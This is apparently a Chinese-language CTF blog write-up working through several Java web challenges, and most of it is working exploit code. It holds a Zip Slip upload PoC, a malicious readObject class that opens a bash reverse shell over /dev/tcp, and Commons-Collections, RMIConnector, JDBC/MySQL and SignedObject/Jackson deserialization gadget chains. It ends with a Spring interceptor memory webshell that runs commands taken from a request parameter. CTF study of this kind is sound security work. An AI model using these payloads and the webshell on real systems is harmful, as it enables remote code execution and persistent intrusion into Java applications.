java题目复现 1
手头屯了不少之前的比赛题目,慢慢全部解决掉,一堆题目
StrangePort
做了一会 发现是N1CTF 2023 StrangePort
上来看看源码 存在问题的地方只有这里
感觉应该是gson反序列化一类的漏洞 之前没接触过
Gson 反序列化 gson是谷歌开发的一个java库 提供了类似fastjson的 将字符串转换为对象,对象转换为字符串的功能
1 2 3 4 5 6 7 8 9 10 public class gson { public static void main (String[] args) throws ClassNotFoundException { String Json="eyJuYW1lIjoidXNlciIsImFnZSI6IjIwIn0=" ; String person="org.example.gson.person" ; Gson gson = new Gson (); person test = (person)gson.fromJson(new String (Base64.getDecoder().decode(Json), StandardCharsets.UTF_8), Class.forName(person)); System.out.println(test.getName()); } }
假设我们有这样的person类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 package org.example.gson;public class person { public String name = "john" ; public String age = "11" ; public String toString () { return "Person{name='" + this .name + "', age='" + this .age + "'}" ; } public person (String name, String age) { this .name = name; this .age = age; } public person () { System.out.println("constructor" ); } public String getName () { return this .name; } public void setName (String name) { this .name = name; } public String getAge () { return this .age; } public void setAge (String age) { this .age = age; } }
运行之后可以看到
触发了相关的无参构造
gson恢复对象的过程如下
1 2 3 4 5 获取目标类的所有字段 解析 JSON 字符串,匹配字段 字段匹配成功,反射设置值 字段匹配失败,忽略该属性 反序列化完成,返回类实例
gson 在反序列化时会获取目标类的默认无参数构造函数,通过该函数实例化类
如果我们实例化的类里面存在恶意命令 就可以触发命令执行 (显然几乎不可能)
如果后面这个person和这个Json均可以控制 且存在相关的恶意类的时候 是可以执行的
PrintServiceLookup rce JDK 中 PrintServiceLookup 接口用于提供打印服务的注册查找功能
可以控制反序列化名字的情况下 可以
1 {"lpcAllCom" :["touch /tmp/123" ,"touch /tmp/123" ]}
调用栈
1 2 3 4 5 6 execCmd:872, PrintServiceLookupProvider (sun.print) getDefaultPrinterNameBSD:747, PrintServiceLookupProvider (sun.print) getDefaultPrintService:661, PrintServiceLookupProvider (sun.print) refreshServices:278, PrintServiceLookupProvider (sun.print) run:945, PrintServiceLookupProvider$PrinterChangeListener (sun.print) run:829, Thread (java.lang)
只要是实现了PrintServiceLookup都可以rce
[未知]123.jar 拖进去反编译一下
注意到存在
这里存在反序列化点,不过他存在过滤和鉴权
1 2 3 4 5 @Bean public SecurityFilterChain securityFilterChain (HttpSecurity http) throws Exception { ((HttpSecurity)((FormLoginConfigurer)((FormLoginConfigurer)((HttpSecurity)((ExpressionUrlAuthorizationConfigurer.AuthorizedUrl)((ExpressionUrlAuthorizationConfigurer.AuthorizedUrl)http.authorizeRequests().antMatchers(new String []{"/" })).permitAll().antMatchers(new String []{"/admin/**" })).authenticated().and()).formLogin().loginProcessingUrl("/login" )).permitAll()).and()).csrf().disable(); return (SecurityFilterChain)http.build(); }
这里限制了 如果不是admin就无法直接访问后面的一系列路由 需要我们先用admin
注意到
这里开启了Spring boot actuator端点 可以直接下载headdump获取账号密码
存在相关过滤
这里存在一些过滤
注意到依赖里面存在着jackson2.x 可以打jackson链子 做了一些过滤
但是可以通过rmiconnect链子打jackson链子 轻松绕过
不过这里那么多东西 肯定不是叫我那么打的
zipfile文件覆盖 注意到jar中存在这个一个简单的文件上传 主要是zip压缩包
提供了解压的方法
注意到通过getname直接获取了文件的名字 然后加载到new file里面
这里的name都可以控制
Zip Slip是一种在压缩包中特制(../../../evil.sh)的解压缩文件替换漏洞,包括多种解压缩如tar、jar、war、cpio、apk、rar、7z和zip等。
后端使用解压类直接将压缩包当中的节点解压出来,可能会通过节点的名字../跳转到上级目录中,从而导致任意目录的文件替换
poc 1 2 3 4 5 6 7 8 9 10 import zipfileif __name__ == "__main__" : try : zipFile = zipfile.ZipFile("poc.zip" , "a" , zipfile.ZIP_DEFLATED) info = zipfile.ZipInfo("poc.zip" ) zipFile.write("E:/压缩文件" , "../../../压缩名字" , zipfile.ZIP_DEFLATED) zipFile.close() except IOError as e: raise e
可以通过这个 将任意的文件通过unzip解压到指定位置
我们可以写一个恶意类 重写readobject方法 然后上传 unzip加载恶意类之后完成rce
1 2 3 4 5 6 7 8 9 10 11 12 import java.io.IOException;import java.io.ObjectInputStream;import java.io.Serializable;public class shell implements Serializable { private void readObject (ObjectInputStream objectInputStream) throws IOException, ClassNotFoundException { objectInputStream.defaultReadObject(); Runtime.getRuntime().exec(new String []{"/bin/bash" , "-c" , "bash -i >& /dev/tcp/ip/port 0>&1" }); } }
上传位置再 /usr/java/jdk-8/jre/lib/shell.class下
[未知] ezjava 直接提供了一个反序列化的接口
注意到加上了很多过滤
反序列化链子的终点主要就是 构造任意方法执行和加载任意字节码
主要的载荷也就是 TemplatesImpl,ProcessBuilder一类 这里全部都过滤了
这里应该要二次反序列化了
显然 这里直接打jrmp 是肯定可以的
由于这里只过滤了一些最终的命令执行手段 我们可以使用invoketransfrom调用connect方法 完成二次反序列化
poc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 package org.example.twice.RMIconnector;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.remote.JMXServiceURL;import javax.management.remote.rmi.RMIConnector;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Base64;import java.util.HashMap;import java.util.Map;public class cc_RMIconnect { public static void setFieldValue (Object obj,String fieldname,Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldname); field.setAccessible(true ); field.set(obj,value); } public static HashMap getObject () throws Exception{ Transformer[] transformers = new Transformer []{ new org .apache.commons.collections.functors.ConstantTransformer(Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> map = new HashMap <>(); Map<Object,Object> lazymap = LazyMap.decorate(map,new org .apache.commons.collections.functors.ConstantTransformer(1 )); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazymap,"aaa" ); HashMap<Object,Object> map2 = new HashMap <>(); map2.put(tiedMapEntry,"bbb" ); lazymap.remove("aaa" ); Class lazyMapClass = LazyMap.class; Field factoryField = lazyMapClass.getDeclaredField("factory" ); factoryField.setAccessible(true ); factoryField.set(lazymap,chainedTransformer); return map2; } public static void main (String[] args) throws Exception { ByteArrayOutputStream tser = new ByteArrayOutputStream (); ObjectOutputStream toser = new ObjectOutputStream (tser); toser.writeObject(getObject()); toser.close(); String exp = Base64.getEncoder().encodeToString(tser.toByteArray()); JMXServiceURL jmxServiceURL = new JMXServiceURL ("service:jmx:rmi://" ); setFieldValue(jmxServiceURL, "urlPath" , "/stub/" + exp); RMIConnector rmiConnector = new RMIConnector (jmxServiceURL, null ); InvokerTransformer invokerTransformer = new InvokerTransformer ("connect" , null , null ); HashMap<Object, Object> map = new HashMap <>(); Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer (1 )); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, rmiConnector); HashMap<Object, Object> expMap = new HashMap <>(); expMap.put(tiedMapEntry, "test" ); lazyMap.remove(rmiConnector); setFieldValue(lazyMap, "factory" , invokerTransformer); System.out.println(writeStringToFile(serializeAndEncode(expMap))); } public static String serializeAndEncode (Object obj) throws Exception { try (java.io.ByteArrayOutputStream byteArrayOutputStream = new java .io.ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream)) { objectOutputStream.writeObject(obj); objectOutputStream.close(); byte [] serializedBytes = byteArrayOutputStream.toByteArray(); return Base64.getEncoder().encodeToString(serializedBytes); } catch (Exception e) { e.printStackTrace(); throw e; } } public static String writeStringToFile (String content) { try { File tempFile = File.createTempFile("tempFile" , ".txt" ); String filePath = tempFile.getAbsolutePath(); try (PrintWriter writer = new PrintWriter (new FileWriter (filePath))) { writer.println(content); } return filePath; } catch (IOException e) { e.printStackTrace(); return null ; } } }
题目给出的问题依赖还是很多的 链子的后半部分可以打很多东西 包括jackson的链子 或者cb链
A-Piece-Of-Java 来自羊城杯2020 的一道题目 nss上面还有环境
主体没啥好说的 一个简单的登录 跳转
注意到
/hello会把cookies作为序列化数据反序列化
设置了黑名单 只允许 自己写的那个成员类和java.lang下的类反序列化
1 2 <regexp>gdufs\..*</regexp> <regexp>java\.lang\..*</regexp>
这个waf不要太硬 完全过不去 只能在当前的目录下找机会
注意到存在connect方法
1 2 3 4 5 6 7 8 9 10 private void connect () { String url = "jdbc:mysql://" + this .host + ":" + this .port + "/jdbc?user=" + this .username + "&password=" + this .password + "&connectTimeout=3000&socketTimeout=6000" ; try { this .connection = DriverManager.getConnection(url); } catch (Exception var3) { var3.printStackTrace(); } }
能够直接控制host和port 可以打jdbc反序列化
checkAllInfo方法调用了他
注意到
这里如果给反序列化对象挂一个代理 就能触发我们的connect方法
poc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import gdufs.challenge.web.invocation.InfoInvocationHandler;import gdufs.challenge.web.model.DatabaseInfo;import gdufs.challenge.web.model.Info;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Proxy;import java.util.Base64;public class exp { public static byte [] serialize(Object o) throws Exception{ try (ByteArrayOutputStream baout = new ByteArrayOutputStream (); ObjectOutputStream oout = new ObjectOutputStream (baout)){ oout.writeObject(o); return baout.toByteArray(); } } public static void main (String[] args) throws Exception { DatabaseInfo databaseInfo = new DatabaseInfo (); databaseInfo.setHost("ip" ); databaseInfo.setPort("port" ); databaseInfo.setUsername("yso_CommonsCollections6_bash -c {echo,base64_shell}|{base64,-d}|{bash,-i}" ); databaseInfo.setPassword("yso_CommonsCollections6_bash -c {echo,base64_shell}|{base64,-d}|{bash,-i}&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true" ); InfoInvocationHandler handler = new InfoInvocationHandler (databaseInfo); Info proxinfo = (Info) Proxy.newProxyInstance(Info.class.getClassLoader(), new Class [] {Info.class}, handler); byte [] bytes = serialize(proxinfo); byte [] payload = Base64.getEncoder().encode(bytes); System.out.print(new String (payload));
使用evil_mysql那个工具挂一下
成功弹到shell
ezspring ssrf in java
传入的url参数会被解析一次 然后访问
这里存在ssrf 虽然限制了url 但是依旧可以访问本机的数据 猜测是要探内网
java中可能产生ssrf的地方还是很多的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 Request.Get(url).execute() URL u; int length; byte [] bytes = new byte [1024 ]; u = new URL (url); inputStream = u.openStream(); String url = "http://127.0.0.1" ;CloseableHttpClient client = HttpClients.createDefault();HttpGet httpGet = new HttpGet (url);HttpResponse httpResponse; try { httpResponse = client.execute(httpGet); URLConnection urlConnection = url.openConnection();HttpURLConnection urlConnection = url.openConnection();
[2023浙江省省赛]sec0bj
最后一题了 又回到了这里
在/user/readObj存在反序列化点
传递参数可以直接反序列化 注意到存在一些过滤
1 private static final String[] blackList = new String[]{"AbstractTranslet", "Templates", "TemplatesImpl", "javax.management", "swing", "awt", "fastjson"};
过滤了链子的终点 可以考虑直接打rmi二次反序列化 可惜环境不出网
只能考虑二次反序列化
这里可以打SignedObject二次反序列化
在SignedObject的getObject参数中 存在
1 2 3 4 5 6 7 8 9 10 11 public Object getObject () throws IOException, ClassNotFoundException { ByteArrayInputStream b = new ByteArrayInputStream (this .content); ObjectInput a = new ObjectInputStream (b); Object obj = a.readObject(); b.close(); a.close(); return obj; }
这里的加密方法和加密密钥我们都是可以控制的 关键在于触发这个getobject方法
Jackson
它是基于Bean属性访问机制的反序列化,它在反序列化的时候会调用BeanSerializer
恢复Bean
从而调用getter
方法进行还原。
基于这点 可以触发BaseJsonNode#toString()方法去获取 (POJONode本身并不包含tostring方法 通过从父类手上获取)
一些进行基于类似操作的反序列化
1 2 3 4 5 6 - SnakeYAML - jYAML - YamlBeans - Jackson - Castor - Java XMLDecode
所以现在链子就是
1 []->BaseJsonNode#toString()->signobject#getObject->payload
然而前面的启示点遭到了限制 需要在黑名单之外寻找一个 触发tostring方法的类
之前在rome链子里面 我们可以通过调用bean的tostring方法 执行任意getter方法 如
badAttributeValueExpException_signedobject链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 package org.example.payload_test;import com.fasterxml.jackson.databind.node.POJONode;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.EqualsBean;import com.sun.syndication.feed.impl.ToStringBean;import javassist.*;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.security.*;import java.util.Base64;import java.util.HashMap;import java.util.Map;import static org.example.fastjson.TemplatesImpl.TemplatesImpl.getTemplates;import static org.example.twice.RMIconnector.cc_RMIconnect.setFieldValue;public class test { public static void main (String[] args) throws Exception { KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA" ); kpg.initialize(1024 ); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject ((Serializable) payload(), kp.getPrivate(), Signature.getInstance("DSA" )); ToStringBean toStringBean = new ToStringBean (SignedObject.class,signedObject); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null ); Class Bv = Class.forName("javax.management.BadAttributeValueExpException" ); Field val = Bv.getDeclaredField("val" ); val.setAccessible(true ); val.set(badAttributeValueExpException,toStringBean); serialize(badAttributeValueExpException); System.out.println(serializeAndEncode(badAttributeValueExpException)); } public static void serialize (Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("bi1n.ser" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws Exception { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } private static void setFieldValue (Object obj, String field, Object arg) throws Exception{ Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true ); f.set(obj, arg); } public static Object payload () throws Exception { CtClass ctClass1=ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod writeReplace=ctClass1.getDeclaredMethod("writeReplace" ); ctClass1.removeMethod(writeReplace); ctClass1.toClass(); ; byte [] code = Files.readAllBytes(Paths.get("D:\\Desktop\\ctf\\src\\main\\java\\org\\example\\CC\\hello.class" )); byte [][] codes = {code}; TemplatesImpl templatesImpl = new TemplatesImpl (); setFieldValue(templatesImpl, "_bytecodes" ,codes); setFieldValue(templatesImpl, "_name" , "a" ); setFieldValue(templatesImpl, "_tfactory" , null ); POJONode node = new POJONode (templatesImpl); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null ); setFieldValue(badAttributeValueExpException, "val" , node); HashMap hashMap = new HashMap (); hashMap.put(templatesImpl, badAttributeValueExpException); return hashMap; } public static String serializeAndEncode (Object obj) throws Exception { try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream)) { objectOutputStream.writeObject(obj); objectOutputStream.close(); byte [] serializedBytes = byteArrayOutputStream.toByteArray(); return Base64.getEncoder().encodeToString(serializedBytes); } catch (Exception e) { e.printStackTrace(); throw e; } } }
不过这条链子被过滤了 javax.management
这里选择使用 HotSwappableTargetSource
poc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 package org.example.payload_test;import com.fasterxml.jackson.databind.node.POJONode;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xpath.internal.objects.XString;import com.sun.syndication.feed.impl.EqualsBean;import com.sun.syndication.feed.impl.ToStringBean;import javassist.*;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import org.springframework.aop.target.HotSwappableTargetSource;import javax.management.BadAttributeValueExpException;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.security.*;import java.util.Base64;import java.util.HashMap;import java.util.Map;import static org.example.fastjson.TemplatesImpl.TemplatesImpl.getTemplates;import static org.example.twice.RMIconnector.cc_RMIconnect.setFieldValue;public class test { public static void main (String[] args) throws Exception { KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA" ); kpg.initialize(1024 ); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject ((Serializable) payload(), kp.getPrivate(), Signature.getInstance("DSA" )); POJONode jsonNodes = new POJONode (signedObject); HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource (jsonNodes); HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource (new XString ("1" )); HashMap hashMap = makeMap(hotSwappableTargetSource1, hotSwappableTargetSource2); serialize(hashMap); System.out.println(serializeAndEncode(hashMap)); unserialize("bi1n.ser" ) ; } public static void serialize (Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("bi1n.ser" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws Exception { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } private static void setFieldValue (Object obj, String field, Object arg) throws Exception{ Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true ); f.set(obj, arg); } public static Object payload () throws Exception { CtClass ctClass1=ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod writeReplace=ctClass1.getDeclaredMethod("writeReplace" ); ctClass1.removeMethod(writeReplace); ctClass1.toClass(); ; byte [] code = Files.readAllBytes(Paths.get("D:\\Desktop\\ctf\\src\\main\\java\\org\\example\\CC\\hello.class" )); byte [][] codes = {code}; TemplatesImpl templatesImpl = new TemplatesImpl (); setFieldValue(templatesImpl, "_bytecodes" ,codes); setFieldValue(templatesImpl, "_name" , "a" ); setFieldValue(templatesImpl, "_tfactory" , null ); POJONode node = new POJONode (templatesImpl); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null ); setFieldValue(badAttributeValueExpException, "val" , node); HashMap hashMap = new HashMap (); hashMap.put(templatesImpl, badAttributeValueExpException); return hashMap; } public static String serializeAndEncode (Object obj) throws Exception { try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream)) { objectOutputStream.writeObject(obj); objectOutputStream.close(); byte [] serializedBytes = byteArrayOutputStream.toByteArray(); return Base64.getEncoder().encodeToString(serializedBytes); } catch (Exception e) { e.printStackTrace(); throw e; } } public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception { HashMap<Object, Object> s = new HashMap <>(); setFieldValue(s, "size" , 2 ); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node" ); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry" ); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true ); Object tbl = Array.newInstance(nodeC, 2 ); Array.set(tbl, 0 , nodeCons.newInstance(0 , v1, v1, null )); Array.set(tbl, 1 , nodeCons.newInstance(0 , v2, v2, null )); setFieldValue(s, "table" , tbl); return s; } }
成功执行命令
这里需要打内存马 随便找一个拿过来用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 package org.example.shell;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.servlet.HandlerInterceptor;import org.springframework.web.servlet.ModelAndView;import org.springframework.web.servlet.handler.AbstractHandlerMapping;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import java.io.InputStream;import java.util.Scanner;public class Interceptor1 extends AbstractTranslet implements HandlerInterceptor { public Interceptor1 () throws NoSuchFieldException, IllegalAccessException { System.out.println("ok" ); WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT" , 0 ); AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping" ); java.lang.reflect.Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors" ); field.setAccessible(true ); java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping); Interceptor1 testfilter = new Interceptor1 ("123" ); adaptedInterceptors.add(testfilter); } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public Interceptor1 (String test) { } @Override public boolean preHandle (HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { if (request.getParameter("cmd" ) != null ) { boolean isLinux = true ; String osTyp = System.getProperty("os.name" ); if (osTyp != null && osTyp.toLowerCase().contains("win" )) { isLinux = false ; } String[] cmds = isLinux ? new String []{"sh" , "-c" , request.getParameter("cmd" )} : new String []{"cmd.exe" , "/c" , request.getParameter("cmd" )}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner (in).useDelimiter("\\A" ); String output = s.hasNext() ? s.next() : "" ; response.getWriter().write(output); response.getWriter().flush(); } return true ; } @Override public void postHandle (HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { System.out.println("posthandle" ); } @Override public void afterCompletion (HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { System.out.println("afterhandle" ); } }
终于解决了 最开始看java就腿软 现在总算是能稍微看一点java的题目了 好哦